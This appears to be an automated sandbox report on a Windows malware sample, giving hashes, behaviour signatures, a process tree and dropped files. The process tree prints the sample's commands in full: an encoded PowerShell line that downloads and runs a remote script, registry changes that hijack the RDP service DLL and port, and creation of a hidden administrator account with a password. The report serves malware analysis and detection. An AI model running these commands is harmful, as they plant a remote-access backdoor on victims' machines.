Analysis

  • max time kernel
    53s
  • max time network
    116s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    30-07-2021 15:25

General

  • Target

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe

  • Size

    4.6MB

  • MD5

    eaee663dfeb2efcd9ec669f5622858e2

  • SHA1

    2b96f0d568128240d0c53b2a191467fde440fd93

  • SHA256

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

  • SHA512

    211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
    "C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1200
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\likclxcl\likclxcl.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:744
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES403B.tmp" "c:\Users\Admin\AppData\Local\Temp\likclxcl\CSC481DC0B26B0F48F6857BB171B79C72BC.TMP"
          4⤵
            PID:3988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2756
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2320
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2164
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3988
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1680
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3984
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2200
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4040
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1304
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1880
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3600
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2164
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3736
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2784
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3964
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:3332
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3984
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2700
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3588
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:1680
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc zr0Htc6U /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2136
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc zr0Htc6U /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1560
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc zr0Htc6U /add
                          3⤵
                            PID:3136
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3852
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2200
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:2316
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:960
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1244
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:2352
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1532
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3960
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:2080
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc zr0Htc6U
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:188
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc zr0Htc6U
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3980
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc zr0Htc6U
                                  3⤵
                                    PID:3424
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:800
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:2320
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:2136
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:1520
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:3852
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:2328
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2104

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\RES403B.tmp

                                        MD5

                                        0e6b28c99adba2f5312a9e72f20eaa09

                                        SHA1

                                        4ea834bc4634e31f4785acafeef8cd04e3177ba7

                                        SHA256

                                        3e1654d78e212b09e5ccd0fe3efa6970b2bb0a20b43aa801f76b83387d7f5976

                                        SHA512

                                        4da3fc178e4c6c2a97221b134c9e5dc94876ddcf62f148f12596dc0851a904e9319e421b569ab65665ac3a27891a3b269bed7d5272659ad0b57ec7e06110c036

                                      • C:\Users\Admin\AppData\Local\Temp\likclxcl\likclxcl.dll

                                        MD5

                                        2145a2a46033988b1223403800143e10

                                        SHA1

                                        b06393b4553692546176cc64bbcfef26d4b6b41a

                                        SHA256

                                        4d2f654f6c6e49f1f34cff72cc3420df8e38aa5081b512def8e9f58e81f3829d

                                        SHA512

                                        eb3e62dfeff2467e6b2b9199b49362a85e8e09d3546c1290de4814b32d9ec38c486c0a8012626ce779e0e0cb27c401e44081988fb5f53eadad626c0091d5d5bf

                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                        MD5

                                        3447df88de7128bdc34942334b2fab98

                                        SHA1

                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                        SHA256

                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                        SHA512

                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                        MD5

                                        43473f4e719958639a9d89e5d8388999

                                        SHA1

                                        ccb79eb606a23daa4b3ff8f996a2fbf281f31491

                                        SHA256

                                        ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

                                        SHA512

                                        1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

                                      • \??\c:\Users\Admin\AppData\Local\Temp\likclxcl\CSC481DC0B26B0F48F6857BB171B79C72BC.TMP

                                        MD5

                                        14091f6b52cce370db5e39d8806485ca

                                        SHA1

                                        f78f3f25f42eb5a7e6df88ea26cc666bf5dd86ea

                                        SHA256

                                        87c98d2fce893786ebbbdd4366df6ae0c6d632917aaa4185a380ceb2e49aade9

                                        SHA512

                                        ac555f9dc08204e1dd11e7dc89fae520a001d840cce8bc45e9f7d17220c9ebbb6c62028050caa5a6e3df6d1ade81fb5666df5c738c71b22d5288579fc1ad0481

                                      • \??\c:\Users\Admin\AppData\Local\Temp\likclxcl\likclxcl.0.cs

                                        MD5

                                        4864fc038c0b4d61f508d402317c6e9a

                                        SHA1

                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                        SHA256

                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                        SHA512

                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                      • \??\c:\Users\Admin\AppData\Local\Temp\likclxcl\likclxcl.cmdline

                                        MD5

                                        a23aa39741b00f368bac9a2e2574da1d

                                        SHA1

                                        0d9ccc252132f44c6142e39fe0dc6b52c15abc44

                                        SHA256

                                        9d9a152411fb30e8378df7825d3ca80410b2bba7a43f53f68a3888bac40bd56b

                                        SHA512

                                        32e0066ff846734e5769fcb4e7eda120c856d9062a76481b777f798a905c2d0af6e68301e77845373187e3b175558a3b1b76c6c8be060fe2b639ac0856043ba0

                                      • \Windows\Branding\mediasrv.png

                                        MD5

                                        271eacd9c9ec8531912e043bc9c58a31

                                        SHA1

                                        c86e20c2a10fd5c5bae4910a73fd62008d41233b

                                        SHA256

                                        177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

                                        SHA512

                                        87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

                                      • \Windows\Branding\mediasvc.png

                                        MD5

                                        1fa9c1e185a51b6ed443dd782b880b0d

                                        SHA1

                                        50145abf336a196183882ef960d285bd77dd3490

                                        SHA256

                                        f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

                                        SHA512

                                        16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

                                      • memory/744-137-0x0000000000000000-mapping.dmp

                                      • memory/1200-125-0x0000018EC5CB0000-0x0000018EC5CB2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1200-153-0x0000018EE1060000-0x0000018EE1061000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1200-131-0x0000018EE06D0000-0x0000018EE06D1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1200-139-0x0000018EC5CB6000-0x0000018EC5CB8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1200-126-0x0000018EC7AA0000-0x0000018EC7AA1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1200-152-0x0000018EE0CD0000-0x0000018EE0CD1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1200-127-0x0000018EC5CB3000-0x0000018EC5CB5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1200-120-0x0000000000000000-mapping.dmp

                                      • memory/1200-147-0x0000018EC5CB8000-0x0000018EC5CB9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1200-145-0x0000018EC7AF0000-0x0000018EC7AF1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1244-360-0x0000000000000000-mapping.dmp

                                      • memory/1304-345-0x0000000000000000-mapping.dmp

                                      • memory/1520-367-0x0000000000000000-mapping.dmp

                                      • memory/1560-356-0x0000000000000000-mapping.dmp

                                      • memory/1680-355-0x0000000000000000-mapping.dmp

                                      • memory/1680-303-0x0000000000000000-mapping.dmp

                                      • memory/1880-346-0x0000000000000000-mapping.dmp

                                      • memory/2080-363-0x0000000000000000-mapping.dmp

                                      • memory/2104-385-0x000001EFF02D6000-0x000001EFF02D8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2104-380-0x000001EFF02D3000-0x000001EFF02D5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2104-435-0x000001EFF02D8000-0x000001EFF02D9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2104-369-0x0000000000000000-mapping.dmp

                                      • memory/2104-379-0x000001EFF02D0000-0x000001EFF02D2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2164-348-0x0000000000000000-mapping.dmp

                                      • memory/2164-301-0x0000000000000000-mapping.dmp

                                      • memory/2200-358-0x0000000000000000-mapping.dmp

                                      • memory/2200-341-0x0000000000000000-mapping.dmp

                                      • memory/2276-203-0x0000000000000000-mapping.dmp

                                      • memory/2276-256-0x0000017926AF6000-0x0000017926AF8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2276-214-0x0000017926AF0000-0x0000017926AF2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2276-215-0x0000017926AF3000-0x0000017926AF5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2276-257-0x0000017926AF8000-0x0000017926AFA000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2316-359-0x0000000000000000-mapping.dmp

                                      • memory/2320-366-0x0000000000000000-mapping.dmp

                                      • memory/2320-291-0x000001E958178000-0x000001E95817A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2320-242-0x0000000000000000-mapping.dmp

                                      • memory/2320-259-0x000001E958173000-0x000001E958175000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2320-258-0x000001E958170000-0x000001E958172000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2320-290-0x000001E958176000-0x000001E958178000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2328-368-0x0000000000000000-mapping.dmp

                                      • memory/2352-361-0x0000000000000000-mapping.dmp

                                      • memory/2756-213-0x000001D9AE4B8000-0x000001D9AE4BA000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2756-170-0x000001D9AE4B0000-0x000001D9AE4B2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2756-160-0x0000000000000000-mapping.dmp

                                      • memory/2756-194-0x000001D9AE4B6000-0x000001D9AE4B8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2756-171-0x000001D9AE4B3000-0x000001D9AE4B5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2784-350-0x0000000000000000-mapping.dmp

                                      • memory/3136-357-0x0000000000000000-mapping.dmp

                                      • memory/3332-449-0x0000000000000000-mapping.dmp

                                      • memory/3424-365-0x0000000000000000-mapping.dmp

                                      • memory/3588-354-0x0000000000000000-mapping.dmp

                                      • memory/3600-347-0x0000000000000000-mapping.dmp

                                      • memory/3736-349-0x0000000000000000-mapping.dmp

                                      • memory/3904-119-0x0000016D75916000-0x0000016D75917000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3904-114-0x0000016D75910000-0x0000016D75912000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3904-118-0x0000016D75915000-0x0000016D75916000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3904-117-0x0000016D75913000-0x0000016D75915000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3904-115-0x0000016D75BE0000-0x0000016D75E8A000-memory.dmp

                                        Filesize

                                        2.7MB

                                      • memory/3960-362-0x0000000000000000-mapping.dmp

                                      • memory/3964-351-0x0000000000000000-mapping.dmp

                                      • memory/3980-364-0x0000000000000000-mapping.dmp

                                      • memory/3984-340-0x0000000000000000-mapping.dmp

                                      • memory/3984-450-0x0000000000000000-mapping.dmp

                                      • memory/3988-141-0x0000000000000000-mapping.dmp

                                      • memory/3988-302-0x0000000000000000-mapping.dmp

                                      • memory/4040-344-0x0000000000000000-mapping.dmp